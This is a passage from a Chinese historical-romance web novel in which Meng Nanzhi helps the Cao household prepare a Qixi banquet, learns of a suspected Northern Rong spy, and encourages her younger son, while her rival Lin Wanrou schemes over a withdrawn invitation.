见到孟南枝过来,曹宛清连忙迎了上来,眉目间惊讶大于惊喜,“南枝你怎么今日就来了?”
“得了太子侧妃的邀请,我还能不尽心点。”孟南枝没同她客气,任她挽住自己的手,“枚姨病的可是厉害?”
枚姨是曹宛清的母亲,曹国公夫人,温枚。
曹宛清笑道:“我母亲只是得了小寒,病得不重。”
孟南枝道:“带我去给枚姨请个安吧。”
曹宛清闻言睫毛微颤,握着孟南枝的手僵了一下。
察觉到她手上的动作,孟南枝握紧了她的手,觉得有点凉,“宛清姐可也是病了?”
曹宛清摇头,面上挂着的笑带着些许不自然,“没有,估计母亲这时刚吃过药歇下,若不我先让丫鬟通传一下。”
“也好。”
这是应当的,孟南枝自然没有异议。
等丫鬟通报的功夫,两人又就明日七巧节的事宜商议了一番。
虽然这会儿太阳时隐时现,但保不齐明日还会下雨,所以孟南枝同曹宛清建议道:“不若把庭院拉上彩布,不管明日是晴还是雨,都能遮一遮。”
“还是你细心。”曹宛清当下便吩咐奴仆去搭彩布。
到了绣房,特意叮嘱绣娘们仔细挑选着合适的布料,务必保证彩布的颜色与庭院景致相得益彰。
两人正说话间,丫鬟过来规矩地行礼,“老夫人醒了,请大姑娘和孟姑娘进去。”
曹宛清不着痕迹地轻舒口气,拉着孟南枝的手,一同往母亲所在的内院走去。
但愿母亲别掉链子。
第84章 太子侧妃办事妥帖,此事必定能成
太子侧妃曹宛宁从孟府出来,并未直接回太子府,而是先到了坤宁宫。
这两日天虽然下了雨,但天气依旧闷热,所以皇后娘娘宫中的冰块并未撤去。
因有了身子体内热气沸腾的曹宛宁,入这殿内凉意扑鼻,觉得甚是舒适惬意。
她轻移莲步,仪态端庄地同皇后娘娘盈盈下拜,“儿臣给母后请安。”
皇后谢清沅招呼着她坐到自己身前,目光慈爱地落在她的小腹上,“你也是,有了身子也不与母后说,若说了,母后如何能再让你跑这一趟。”
曹宛宁温婉贤淑地答道:“母后,儿臣有经验,现在不当事的,不与您说也是免得让您跟着担惊受怕,再说我也许久未见南枝姐,去一趟也是应当的。”
皇后谢清沅知她已经办妥,轻轻拍了拍她的手,嗔怪道:“你这孩子,在母后眼里,再大的事都比不上你能好好地养着身子,为皇家多多开枝散叶。等儿母后让太医院给你开些保胎的药,每日派人给你送去,你可一定要按时服用。”
曹宛宁面露感激,“儿臣多谢母后关怀,有母后这般细心照料,儿臣心中安稳许多。”
又小坐了一会儿,曹宛宁便与皇后谢清沅告辞出了坤宁宫。
曹宛宁走后,谢清沅的面色便暗下来,于嬷嬷忙上前为她揉捏肩膀,“皇后娘娘莫要忧心,太子侧妃办事妥帖,曹国公府与孟府又一向亲近,此事必定能成。”
想到弟弟竟然越过她,直接向圣上求了孟府东院的宅子。
谢清沅便觉得此事难有定数,轻揉了揉太阳穴道:“尽力而为吧。”
……
曹国公夫人的内院布置得极为雅致,小桥流水,花香满园。
穿过一条曲折的回廊,便到了国公夫人的寝房前,房门轻掩,透出一缕淡淡的沉香味,让人心神宁静。
曹国公夫人坐在软榻上,身上盖着薄毯,见到孟南枝她们进来,抬脚就准备下床,“南枝来啦。”
曹宛清连忙挡着孟南枝的视线,过去按住了母亲的手,对着她摇头并使了个眼色。
孟南枝只当曹宛清是关心母亲,柔声问道:“枚姨,您可是好些了?”
曹国公夫人在长女的示意下,忙掩着帕子干咳了两声。
“不过是些小毛病,已经好多了。来,南枝快过来坐到我身边来。”曹国公夫人说着,拍了拍身旁的位置,满是热情亲切。
正常人生病,为了不让客人过了病气,一般是不会把客人叫到身前的。
孟南枝瞧了眼她完全看不出得了风寒的红润面色,不动声色地过去坐在了她身前,挽着她的手笑道:“枚姨,您可得好好保重身子,我还等着您教我耍鞭呢。”
曹国公夫人出身武将世家,性子直率,孟南枝的马术便是跟她学的。
“这还能是问题,过了七巧节,我便教你。”曹国公夫人乐呵呵地握住孟南枝的手笑着,细细打量她一如既往的眉眼,是越看越欢喜。
她生了两女一子,脾性全都像曹国公,为人聪慧,心机‘深沉’,她不管做什么,都一脸“就这”的表情,搞得她养子女养得很挫败。
唯有长女的好友孟南枝,很是合她的脾气,不管她做什么都很给力的捧场,教起来特别有成就感。
孟南枝听闻她这话,眸色微闪,心里却是有了定数。
玫姨这病是定好时辰的,要过了七巧节才能好。
目的便是请她来帮忙操持七巧宴。
原本她还以为侧妃娘娘寻她来只是为了给她抬面。
现在倒是越发好奇了,能说得动性子直率不喜拐弯抹角的曹国公夫人装病也要请她。
这七巧宴上有什么?
为什么非要她来。
心里这般思索,孟南枝面上却是一点未变,依旧乖顺崇拜地看着曹国公夫人,“那就这么说定了啊玫姨,等过了七巧节,我定要天天来叨扰您。”
曹国公夫人笑得脸上的褶子开了花,“哎哟,那可敢情好,我巴不得你以后住在国公府呢,等你与……”
曹宛清在一旁听着母亲的话,嘴角微微抽搐,她就知道母亲不靠谱,忙轻拽了拽她的衣角,从桌案上端起茶盏递给她,“母亲您可是渴了?快喝茶。”
并笑着替母亲圆话道:“南枝,不知你对明日宴会可还有什么想法,可一并与我母亲说说。”
曹国公夫人不自然地又咳了两声,接过茶盏轻吃了一口,才又对孟南枝开口道:“对,南枝,不知你有什么好想法,都可与我说说。”
孟南枝笑着摇头,“南枝许久不曾操办,不若先听听枚姨和宛清姐的安排,再看如何配合更为妥当。”
言罢,三人便就明日七巧宴事宜又从头到尾规划了一番。
因曹国公夫人生着“病”,孟南枝便未多待,又与她说了几句体己话后,便起身随曹宛清出了内院。
孟南枝刚一走,曹国公夫人就翻开薄毯下了床,铿锵有力地冲嬷嬷道:“世子呢?可回来了?”
嬷嬷摇头,也是一脸焦急,“寻小厮去喊了,还没回来呢。”
几个人头突然从窗户口探出来,“温夫人,咱还继续吗?”
这几人都是曹国公府周边的婆子,孩子大了以后,曹国公夫人闲得无聊,常常把她们叫到府里一起摸牌。
刚刚几人就是正在摸牌呢,丫鬟突然过来跟她说孟南枝来了。
她便将几人先赶了出去,让她们躲起来。
毕竟她可是“病”着,不能让孟南枝看出不对来。
想着次女给她交代的任务,曹国公夫人对她们挥了挥手,“不玩了,你们先回吧。”
几人对视一眼,你看我,我看你。
曹国公夫人是个散财好人,她们今日还没赢到足够的菜钱呢。
但想着明日就是七巧宴,是曹国公府的大事,便都听话地从后门走了。
只是走的时候,几人还在小声地嘀咕。
“那才那个年轻的妇人是镇北侯夫人吧?”
“可不是么,我之前见过她的画像,一模一样。”
“你们听说了没,镇北侯夫人和镇北侯和离了。”
“听说了,闹得可不愉快了,还以为镇北侯与他溺水亡妻的佳话能一直传下去,没想到竟然闹和离了。”
“对了,你们刚听到温夫人找世子没?”
“镇北侯夫人一来,她就找世子,世子夫人两年前过世后,世子一直未娶,镇北侯夫人不会是想……”
几人对看了一眼,感觉发现了大秘密。
第85章 跳梁小丑,不配与南枝共宴
孟南枝随着曹宛清一起走到庭院时,丫鬟奴仆们正在攀着梯子挂喜鹊灯。
摇摇晃晃地一看就不安全,便走过去一同帮着她们稳住梯子。
曹宛清看她这般尽心的模样,暗叹口气,也随她一起扶着。
孟南枝仰头看着那一个个精致的喜鹊灯,轻声说道:“宛清姐,你看这喜鹊灯比咱俩小时候做的可精致多了。”
曹宛清顺着她的目光看去,嘴角微微上扬,“是啊,那时母亲不让咱俩去参加七巧宴,咱俩不服气地也在外面学着做喜鹊灯,结果却做成了麻雀灯。”
两人面对面半躬着身子,仿佛回到了童稚时一起爬树翻墙钻狗洞的日子,互相“噗呲”一下就笑了。
孟南枝目光落在曹宛清与曹宛宁七分相似的脸上,眉眼弯了弯。
曹宛清身为曹国公府嫡长女,含着金汤出身,得了曹国公的七分聪慧,却又有三分脾性像温夫人,心思单纯,不善复杂心计。
所以曹国公才为她选了家世不太复杂的夫婿,也就是现在的邢部郎中。
官位虽然升得慢,但公婆慈善,夫妻恩爱,育有一女一子,没有妾室,日子过得可以说是相当滋润。
与曹宛清不同,曹宛宁身为曹国公府嫡二女,不仅得了曹国公的聪慧,还完全继承了他的脾性,聪慧、沉稳、善于算计。
这也是皇后娘娘能看中她,想把她与谢归舟婚配的原因。
因为她能撑得起谢家。
哪怕不嫁于谢归舟,她与太子婚后,虽身为侧妃,却能力压太子妃,生下皇长孙,也足以能证明她的实力。
虽然不知她们为何非要寻她来操持七巧宴之事,但依她对温夫人和曹宛清的了解,总归是不会害她。
思此,孟南枝便未再去深想,同曹宛清柔声问道:“宛清姐,你还有什么要与我交代的吗?”
曹宛清看着孟南枝一直温和平静的脸,有些不自在地别开眼,“倒没什么其他交代的,你明日不用太早,巳时过来便可。”
七巧宴设在傍晚,巳时不早不晚,还能在曹国公府用上午膳。
以前也不是没有过,所以孟南枝对此倒没什么意见,微微颔首,以天色已晚为由与她告辞回府。
待孟南枝走后,曹宛清深呼一口气,按了按紧绷的太阳穴。
她第一次哄骗孟南枝,多少还是有些心虚的。
想到明日之事,曹宛清寻嬷嬷要来客宴单,在镇北侯府后面打了个大大的叉。
“去通知一下镇北侯府,明日七巧宴不便请她们来了。”
跳梁小丑,不配与南枝共宴。
……
从曹国公府出来的时候,天色近暮。
因着明日便是七巧节,街市上装扮都很喜气,道路两旁的店铺挂起彩色的灯笼,小贩们也扯着嗓子叫卖应节的物件。
马车路过胡氏绸缎庄,看到里面人群耸动,孟南枝眉眼生笑,胡姨娘果真是个会做生意的。
她掀开车帘一角,正欲多看两眼,却见绸缎庄里出来一道熟悉的身影,奕王萧临渊。
他在门口驻立了几息,回头迎出娇滴滴的陆筝筝。
身后跟着的丫鬟还带着两个包裹,明显是刚制了新衣。
啧——
孟南枝眸色暗了暗,这两人中间那根线还真难切。
看来她是只能换条路走了。
回到孟府时,东邻府院还锁着,父亲孟正德也同样外出未归。
沈砚修两兄弟已经睡醒,在院子里看江鱼武剑。
他身姿轻盈似燕,手中长剑挽出时,剑影闪烁间带着几分凌厉。
次子沈砚珩在一旁看得兴致勃勃,连连拍手叫好,激动地捡起地上的树枝也跟着武了两下。
绵弱无力,磕磕碰碰,毫无章法。
简直就像是老太太学走路——一步三摇。
孟南枝算是清晰地认识到,她这两个孩子上不如谢归舟,下不如小江鱼。
唯一所占的便是品性够好,这还是在她掰了一部分的前提下。
孟南枝站在院门口看了一会儿,才抬步走进院子。
站在外侧的长子沈砚修最先发现她,眼睛一亮,快步迎上来,“母亲,你回来啦。”
沈砚珩收起树枝,也跟着迎了上来,“母亲。”
倒是没像上次沈砚修武枪一样,向她讨奖,显然是知道自己有几斤几两。
但孟南枝依旧给予他很好的情绪价值,“珩儿武得不多,有几分侠客的气势。”
沈砚珩闻言眼睛聚亮,有些不好意思地握紧了手中的树枝,“我没江鱼武得好。”
江鱼也收了剑,笑着过来见礼。
孟南枝轻轻颔首,不希望次子妄自菲薄,便笑着轻拍了拍他的肩,“每个人都有自己擅长的领域,珩儿在别的领域上肯定也有过人之处,慢慢来,不着急。”
沈砚珩闻言郑重地点了点头,并用胳膊肘撞了下站在身侧的江鱼:听到没,我会在别的地方压跨你。
江鱼对此倒是没有反驳,因为他父亲也是这么教他的。
孟南枝瞧着次子与江鱼这么亲密的模样,暗自蹙眉,想到自己承诺次子给江鱼找活计一事,便同他问道:“江鱼,不知道你想要找个什么样的事情做?”
江鱼闻言拱手道:“回夫人,江鱼是江湖人,只愿做些自由自在的活计,若能顺带施展些拳脚功夫,那便再好不过了。”
孟南枝微微颔首,心中有了计较,温和笑道:“既如此,我会让管家去问问,城里可有需要护送货物或者看家护院的活计,到时候你挑个合心意的便是。”
江鱼眸中闪过惊喜,连忙单膝跪地,抱拳道:“多谢夫人。”
他还真怕孟南枝听了沈砚珩的意思,真把他当做书童,留在孟府哪也去不了了。
见他们说罢,身侧的长子沈砚修问道:“母亲,胡姨母说你去曹国公府了,可还顺利?”
少年的眸中满是关切和期许。
孟南枝点头,“顺利,只是看了看曹国公夫人,还有和你宛清姨讨论了一下明日七巧宴的事宜。”
沈砚修闻言眸色微亮,“母亲要去曹国公府操持七巧宴吗?用不用我帮忙?”
孟南枝笑着摇了摇头,“母亲谢过你的心意,但这七巧宴的操办已经基本稳妥,倒是用不上你帮忙了。”
“哦。”沈砚修揉捏了下手指,语气明显有些丧气。
孟南枝见状有些不解,“修儿是想同我去曹国公府?有什么想见的人吗?”
沈砚修点头,也不瞒她,腼腆道:“我做了一篇文章,想请曹侍郎看一下。”
第86章 他去抓奸细了
曹侍郎——曹景行,也就是曹国公世子,曹宛清的弟弟,曹宛宁的哥哥,如今的礼部侍郎。
自幼才华出众,颇得圣上赏识,已经连任两届科举会试的考官。
长子如此好学,孟南枝又岂会拒绝,当场便应了,“那你明日带上文章同我一起去曹国公府吧。”
“谢母亲。”
沈砚修得了母亲的准话,喜露于表。
他以前曾在母亲面前夸口说要考状元,结果因为父亲的不信任,自暴自弃,想着反正有爵位兜底,一次科举都未参加。
如今母亲回来,他想试一试看自己的底子。
孟南枝转头看向次子沈砚珩,“珩儿,你可要去?”
沈砚珩连连摇头,“我不了,母亲,我还没束发呢,七巧宴不适合我去。”
他对做文章完全不感兴趣,不想学兄长自讨苦吃。
孟南枝已知他不喜学习,又哪不知他打的什么主意,语气放缓了下来,“珩儿可否告诉母亲你喜欢什么吗?”
沈砚珩闻言愣了一下,但见母亲眼中满是鼓励,眸色暗淡下来,摇了摇头,“母亲,我没什么喜欢的。”
读书,他不喜欢。
练武,也不喜欢。
他总不能和母亲说他只喜欢玩。
孟南枝见状暗叹了口气,面色依旧温柔,并给足了情绪价值,“那肯定是你喜欢的很多,一时没能挑出更喜欢的,没事,等遇到更喜欢的事物便和母亲说。”
“好的,母亲。”沈砚珩点头,笑得并不开心。
母亲肯定是想让他和哥哥一样有所成就,但他让母亲失望了。
教育子女,并不是一味的宽恕。
还要适当的约束。
不是每个孩子天生就心中坚定,目标明确。
情感的陪伴,健康的环境,正确的引导,缺一不可。
所以孟南枝即便知道次子不开心,也没再去哄他,总不能让他这么一直混下去。
到了晚宴时,父亲孟正德终于风尘仆仆地回来了。
满身潮气,衣袍的下摆还沾了些许泥点子。
“父亲,您回来了。”孟南枝起身迎了上去,她这几天都没见着父亲了,还挺想念的。
直到凑近,才发现父亲身上竟然还有重重的血腥味。
孟正德看着失而复得后的女儿,眼中疲惫一扫而光,再看两个外孙也都乖巧地坐着等他,很是欣慰地点了点头,“都在呢,用过膳了吗?”
“枝枝他们一直等着你回来用膳呢。”胡姨娘贴心地为他递上温热的姜汤。
孟正德一饮而尽,“我先去换件衣服。”
等他去换衣服的时候,长子沈砚修去外头瞧了一眼,“母亲,将军好像没回来,外祖父不是和将军一起出去的吗?”
“等你外祖父出来就知晓了。”孟南枝觉得没什么好为他担心的,身为将军,出行要比他们安全。
不多时,孟正德便清洗完毕换了一身干净的常服出来,见他们都侯着,连忙摆手道:“坐,先坐下用膳。”
次子沈砚珩到底是年岁小,还不够稳重,还未落坐,便开口问道:“外祖父您去哪了?”
孟正德坐下道:“去刑部查了案子。”
剩下的便未多讲,孟南枝示意他们先用膳。
等膳罢,孟南枝随孟正德进了书房。
“父亲,可是出了什么事?”孟南枝沏了一盏茶递给他。
有些话需要避着外孙,但对女儿就没有避着了,孟正德接过茶盏并未饮下,而是放在了桌案上。
“刑部抓到一个犯人,可能是北戎奸细,那人供出来的同伴中,外貌特征有一位跟污蔑你的人很像,我就去跑了一趟。”
“父亲,此事可落实了?”孟南枝蹙眉。
之前谢归舟查到那个人的身份有假,名为“铁柱”,通关文碟却写着“杜成”,完全查不出根源。
孟正德摇头,“没那么简单,对方只说了特征,没见过全脸,还不能完全肯定污蔑你的那个人就是。”
顿了顿,他又肯定道:“但,我觉得八九不离十。”
他为政多年,有足够敏锐的嗅觉。
“谢将军,去查了?”联想到谢归舟没跟父亲一起回来,孟南枝可以肯定,他去查了。
“对。”孟正德点头,“涉及北戎奸细,他自是责无旁贷,而且此人供出还有一个同伴在峭城,所以归舟就连夜去峭城了。”
孟南枝闻言微微颔首,“此人是从哪里抓到的?”
想到此人被抓到的缘由,孟正德难得地笑了一下,“这个人若是好好住客栈是一点事情都不会有,偏偏他在来京后为了省钱借住在城南巷的百姓家。那家婆子好事,单是看他饮食习惯不太对,就直接就到府衙举报了他。”
“闵大上因着你上次的提醒,直接让捕头控制住他,发觉不对,直接通知谢将军过去,这才问出了情况。”
问罢情况,孟南枝再次将茶盏递到父亲手里,“父亲,忙了一天,你喝口茶快去歇着吧。”
孟正德这次没再搁置,直接吃了一口,“莫要担心,依归舟的才能,必会很快将那同伙抓回来。”
端着空盏出书房时,孟南枝还没想通现实所发生的事情,为何与巨幕即相同,又不相同。
虽然她在府尹闵大人面前一口咬定,那“铁柱”是北戎奸细,但她内心始终还是存疑的。
因为在她心里,早已认定污蔑她一事,就是林婉柔干的。
如果确定“铁柱”真是奸细,她想不明白为什么要派一个北戎奸细来污蔑她的清白。
而且在巨幕中,并没有任何林婉柔勾结北戎的迹象。
反倒是二皇子,以勾结北戎争储失败。
难道污蔑她之事,真不是林婉柔干的?
而是平阳公府?亦或者吏部尚书马夫人?
门口候着的月芹从她手里接过茶盏,轻声问道:“将军今日还会回来吗?他的药还未煎呢。”
孟南枝回过神,目光落在东邻府院的阁楼上,“应是不回了,嘱咐月满不用熬夜等着。”
从京都到峭城,最快也要十多个时辰,谢归舟今夜定是回不来的。
再加上还要抓人,没个两天时间,只怕够呛。
倒是难为他身子还未好利落就又来回奔波。
第87章 也不知她是否会想他一想
夜色如墨,月挂疏枝。
与京都的阴天不同,越往南,天色越睛。
谢归舟一袭黑色锦衣,带着钱飞和百万纵马疾驰在曲折蜿蜒的山道上。
马蹄踏过碎石,在空旷的山谷间发出“哒哒”的回响。
山间深处,渐起薄雾,打在他挺直如松的脊背上了,披风飞扬,如墨如画。
行至一处地势开阔的林间空地时,谢归舟勒紧缰绳,战马前蹄微扬,发出一阵低鸣。
“休整片刻。”他语气清冷,平淡无波。
钱飞与百万跟着立刻停下马,翻身下来查探四周,确认安全后,才开始生起篝火,准备烧水热干粮。
强壮的百万到河边洗脸的时候,伸手抓到一条往外蹦的鱼,兴奋地拎着过来,“将军,将军,今晚吃鱼吧。”
谢归舟跃下马,清冷的面容在夜色的浸泡下显得更加冷峻。
他微微颔首,淡淡地“嗯”了声。
百万拎到钱飞面前,提溜在他眼前显摆,“看,我抓的鱼,你没有吧。”
钱飞无语地白了他一眼,接过鱼就开始料理。
别的不说,蠢人有蠢福。
只要出门带着百万,就永远缺不了吃的,因为他永远都能给你意想不到的惊喜。
就如八年前,将军领着他们,绕到地敌后去偷袭北戎将领,险胜后被追得误入山林。
干粮用尽他们饿得快要走不动时,百万随手扔出的石头就砸死一只野鹿。
荒林,冬季。
他到现在也没想明白那野鹿是怎么出现的,还好巧不巧地撞在了百万扔出的石头上。
此后在与北戎的抗战中也是,每次几乎要粮绝时,只要百万在,不是粮草送来,就是得到意外食物。
这也是为什么他脑子蠢笨,将军却仍是把他从一个小小的兵伇提升到亲卫,还亲自教他武艺兵法的原因。
因为在战场上,如果真的出了意外,有他在,至少饿不死。
淹鱼置于篝火,很快香味扑鼻。
钱飞取下中间最好的一块肉,给谢归舟送过去,“将军。”
谢归舟抬手接过来,并不清晰的月光下,映出他的手背,上面竟然还带着红疹。
钱飞扫了一眼,低下头下意识地摸了下腰上的水壶。
那里装着他早上在将军书房,看到的未被将军喝下的药。
谢归舟食过鱼后,起身轻依在马鞍上,从行囊里掏出一包油纸。
瞭望着京都的方向,拆开里面裹着的桂花糕,一点一点地啃噬。
痒意四起时,他又从怀中掏出一方袖帕,放在鼻息间,任那横起的燥意压过痒意。
今日出来得太急,都没能够看她一眼。
也不知她现在在做什么。
是否会想他一想。
……
交代完月芹叮嘱月满不用再为谢归舟煎药后,因着时辰尚早,孟南枝并未歇下。
她上了阁楼,坐在案前开始给女儿沈朝昭写信。
她回来有六七日了,本想将长子的事办妥后,直接去避暑山庄看女儿和给太后请安。
但眼下山城还没传来消息,她一时走不开。
只能退而求次的,先给女儿写封信,告知她自己回来的消息,避免她知道得过晚,埋怨自己忘了她。
另外,也一并向太后告罪,解释自己和离的真实缘由,避免她以为自己是因为她的懿旨,容不下林婉柔才和得离。
一切妥当后,孟南枝下阁楼走到刘嬷嬷的住处,将信交给刘嬷嬷,嘱咐她明日一定要将信寄出去。
又寻到管家,让他多留意一下是否有适合江鱼的活计。
漫步回阁楼,走到沈砚修兄弟住的小院时,孟南枝才发现他们屋内的灯都还亮着,竟是都还未曾歇下。
小院内,沈砚珩干躺在床上,瞪着两只眼睛睡不着。
母亲今日说他,肯定是嫌弃他不务正业。
以前母亲不在的时候,不管他做什么事,都有兄长顶着。
可母亲回来后,兄长一下子就变好了,又是跟着将军练武,又是认真读书的。
只剩下他即不想学习,又无所事事。
瞟了一眼兄长屋内还在亮着的烛光,可以看到他在桌案前奋笔作战。
明显是得了母亲的承诺后,在努力誊抄修改润色后的那篇文章,好明天拿到曹侍郎面前以求夸赞。
他要做什么才好呢?
除了读书习武,他真没什么爱好。
招猫逗狗?游山玩水?
他怕说出来会让母亲失望得更加彻底。
看到长子沈砚修正坐在窗前奋笔疾书的影子,孟南枝便未打扰他。
她目光落在次子屋内亮着的烛光上,轻叩了叩门。
木门很快被沈砚珩从里面打开,看到母亲他一脸惊喜,“母亲,你还没歇下呢?”
孟南枝隔着门缝扫了下他整洁的屋内,并未进去,“睡不着?”
沈砚珩点了点头,“嗯,在想母亲今日和我说的话。”
“出来一起走走吧。”见他没有睡意,孟南枝便邀请他一起出来。
天色依旧阴沉,乌云时密时稀。
庭院内的灯光影影绰绰,地上印出两道修长的影子。
孟南枝盯着次子那道自己要高出半截的身影,不免想起自己溺水前,夜晚出去散步时,他还需要自己抱着或背着的样子。
压下心中的酸涩,她转身看向沈砚珩,目光温和,声音轻柔,“珩儿可是喜欢游山玩水?”
母亲问得直接,沈砚珩垂眉静思了几息,决定听兄长的,凡事不必对母亲瞒着,“是,母亲,我不喜欢待在书院,不喜欢待在京都,我就喜欢到各地去转一转。”
以前他是喜欢的,后来和父亲起的争执多了,他经常离家出走,感受过外面的自由,就越发觉得镇北侯府是牢笼,京都也是牢笼。
他一直没敢和母亲说,当初随“瘦猴”他们两个去“醉香阁”“聚财坊”,在那种地方,其实他的内心是惬意的,只有那种不同于寻常的观感才激起他心中的沉郁。
少年略带嘶哑的声音中带着低沉和丧气。
孟南枝闻言心中更加酸涩,却是未去劝慰他,反而移开了话题,突然开口道:“母亲离开京都整整十年,对京都的路都的路都不熟悉了,走起来有些陌生。”
沈砚珩还在低沉的心情,随着母亲这话提了起来,“母亲,我对京都比较熟,你想出去带着我,我给你指路。”
孟南枝摇了摇头,声音低落道:“你也不是天天都有空,母亲也不是天天走哪都要带着你。”
沈砚珩想想也是,他又不是小孩子,天天都要跟着母亲,便又道:“那母亲我给你图张京都的图纸吧,你想去哪了,看一眼,就知道了。”
孟南枝满意道:“珩儿能为母亲画图,那是最好不过了。”
“那母亲你先去歇着吧,我明日就给你画好。”沈砚珩想到要为母亲画图,也不陪她散步了,当下就要告辞回屋。
“行,你也早点歇休,记得不要熬夜。”
孟南枝又岂会阻止他的心切,目光落在他离开时轻快的背影上,眉眼弯了起来。
第88章 孟南枝此举分别是在故意羞辱我
夜暮降临,烛火生起。
镇北侯府,随奕王萧临渊外出的陆筝筝终于回了府。
刚走进母亲所在的南苑,就见丫鬟神色惶恐地捧着一碗碎瓷出来。
睫毛微颤,她缓下因同萧临渊一起外出而兴奋的神情,脚步慢了下来,有些胆怯地推开门,“母亲,我回来了。”
林婉柔斜坐在太师椅上,一向柔弱的脸上挂着不善,裙摆印着水渍,脚下的略湿的地面在烛光下泛着光泽。
明显是茶盏落了地,刚被丫鬟清理过。
陆筝筝睫毛再次颤了颤。
自侯爷与南姨和离,历经外祖父为侯爷谋得了升职和送来五万两银票后,母亲的脾气越来越大,已经慢慢开始不加掩饰了。
她从婢女手里接过包裹,示意婢女先退下后,扯了扯有些僵硬的嘴角,挂着讨好的笑,走到林婉柔面前,“母亲,看筝筝给您带回来了什么。”
林婉柔还在生着气,见状不由吣了她一句,“你带回来的能有什么好东西。”
陆筝筝闻言手指微僵,眸色暗了暗,脸上的笑容未变。
她动作轻柔地把包裹解开,露出里面雕漆描金的衣匣,烛火摇曳,映得匣面流水溢彩。
“今日奕王陪我逛了街,还到胡氏绸缎庄为母亲选了两件新制的成衣。”陆筝筝的声音轻柔。
林婉柔眉眼微亮,面色缓了缓,“奕王倒是有心了。”
陆筝筝见状顺势轻轻掀开衣匣的盖子,露出一袭正蓝色镂金丝钮褙子,衣料是江南新出的云锦,褙子下面是绣着牡丹花纹的百褶裙,是只有正妻才能穿的款式。
林婉柔当下气性消了大半,摸着那细密的面料道:“你与奕王处得如何了?”
陆筝筝眼帘微垂,状似娇羞地垂下头,“奕王待我温柔体贴,今日携我一起游街用膳,还专门为您选了新衣。”
林婉柔蹙眉,这些都不是她想听的,“他可有曾带你回府?可有说何时娶你?”
陆筝筝面上的娇羞转为羞愤,头垂得更低了些,怯生生地道:“未曾。”
林婉柔闻言摸着面料的手收了回来,“你怎这般无用,我都教过你多少次了,要动脑子,多想办法,还不趁奕王妃不在,多哄着奕王心里惦记上你。你若还不努力,让我怎么跟侯爷求着把你的名字入上沈家的族谱。”
陆筝筝深吸口气,保持面上的笑容,将衣匣盒上,走到林婉柔身后,稳了稳有些发颤的手,开始为她揉捏肩膀。
“母亲莫要生气,奕王妃随太后避暑还要月余才能回来,这期间我定会哄着奕王惦记我。”
林婉柔双眼微阖,“也罢,是逼你太紧了些,你多上点心,莫要让我失望。”
陆筝筝闻言暗松了口气,盯着她裙摆上的水渍问道:“筝筝不在,不知母亲刚刚是因何生了气?”
“明日七巧宴,曹国公府竟然命人来收了贴子。”林婉柔提起此事,就火大得很,恨不得将手边的新衣给摔扔了出去。
陆筝筝面色怔忪,有些不解,“往年都送了,今年是为何?曹国公府不办了吗?”
毕竟哪有送出去的贴子再收回去的,他们不怕丢人吗?
“还不是因为孟南枝。”林婉柔攥紧手帕,面色有些狰狞,“曹国公府竟然邀请她去操持七巧宴,她一出府,曹国公府便着人来收了贴子。”
“定是她见不得如今的镇北侯府以我为尊,容不下咱们母女在宴会上出风头,故意在背后挑拨,哄得曹国公府来收贴子,此举分别是在故意羞辱我。”
说到最后,林婉柔气性冲头,猛地拍了下桌子。
刚端着新茶盏过来的小丫鬟吓得一个激灵,手中的托盘没拿稳,那茶盏就又落了地,发出刺耳的破裂声。
小丫鬟连忙跪地求饶,“夫人饶命,奴婢这就再去换一盏。”
林婉柔正欲发火,却见镇北侯沈卿知在小厮的搀扶下进了屋,连忙收起脸上的怒意,换上一副温婉柔意的模样,“不过是件小事,人没事就是,快起来吧。”
说罢又柔情满满地去扶住沈卿知,娇嗔道:“侯爷,您身子还未好,不好生歇着,怎么又起来了。”
沈卿知在她的搀扶下坐下来,背部还是生疼,但见桌案上的新衣,眸色亮了亮,“这是……”
林婉柔顺着他的目光望去,又岂会不知他的想法,忙道:“这是胡氏绸缎庄用江南新出面料制的衣服,很是贵重,如不提前预定,很是难求。”
说到此处,她故意顿了顿,才又顺着沈卿知的期盼道:“奕王带着筝筝专门去买的。”
沈卿知闻言目光落上陆筝筝娇滴滴的面上,心下慰贴,对她更加满意,“如此甚好,明日你们也好穿着这新衣去国公府参加七巧宴。”
陆筝筝正欲开口说被退贴一事,却被林婉柔一个眼神按下去,跟着母亲怯生生地道了声:“是。”
沈卿知过来本也只是确认一下陆筝筝与奕王的进展,见到合他心意,又说了两句便由小厮扶着痛并快乐地走了。
待他离去,陆筝筝小心翼翼地开口道:“母亲,我们没了贴子可怎么去?您为什么不和父亲说是南姨故意收了贴子。”
林婉柔白了她一眼,“侯爷好不容易才与孟南枝和离,我再一个劲地在他面前提孟南枝,岂不是让他一直回顾她的好?”
“再说,孟南枝能哄的曹国公府收了我的贴子,那只能证明她有本事。我若与侯爷说了她的不是,岂不是给他一种我没孟南枝有本事的感觉。”
“想要真的收复一个男人的心,就别傻乎乎地只会求助他,向他抱屈,还要适当的隐忍。他可以抱怨,我却不能抱怨。”
“一但我一味地向他抱怨孟南枝的不是,就只会把他推得更远,彻底地倒向孟南枝那边。毕竟他们还有孩子,而我却什么都没有。”
说到这里,林婉柔眸色暗淡,攥紧了手中帕子,为了能在这镇北侯府立足,她当真是受了很多委屈。
陆筝筝怯生生地道:“那明日七巧宴……”
林婉柔睨了她一眼,“这有什么难的,你去同奕王求下情,让他带着我们一起去便是。”
第89章 曹景行眸色微动,眼尾开了花
烛火跳动,便是一夜。
孟南枝着装完毕拉开门时,次子沈砚珩正趴在栏杆上向下眺望。
他听见动静立马转过身,笑盈盈地冲她道:“母亲,您醒啦?”
少年的衣着未换,还是昨夜见他时穿的那件锦袍,双目周围有些发暗,应是熬夜未睡,但眼眸清亮,却是精神得很。
孟南枝莞尔,“珩儿早就来了?怎么也不叫母亲。”
“想让母亲多睡会儿。”沈砚珩从怀中掏出一张宣纸,递给她,“母亲您看,我画好了。”
摊开宣纸,与大衍现在以渠道为基准的图纸不同,沈砚珩所画的图纸,是以街道为基准,画出了京都每一条小巷。
笔触虽显稚嫩,基线也有些不准。
但从上面重点圈注与她交好的几个世家府邸中,却可以看出次子沈砚珩是用了心的。
孟南枝指尖抚过纸面,心头暖意涌动,“珩儿画得真好,有了这个母亲再外出肯定顺利多了。”
沈砚珩得了母亲的夸赞,有些不好意思,“我其实画得不算好。”
为了画好这份图纸,他昨夜还偷偷翻进了外祖父的书房,查看了原有的舆图做对比。
孟南枝笑着肯定,“珩儿太谦虚了,母亲觉得很好,不比书肆卖的舆图差。”
沈砚珩闻言唇角抿了几抿,最终还是忍不住裂开了嘴,露出四颗大白牙。
母亲这般肯定他的成果,他很高兴。
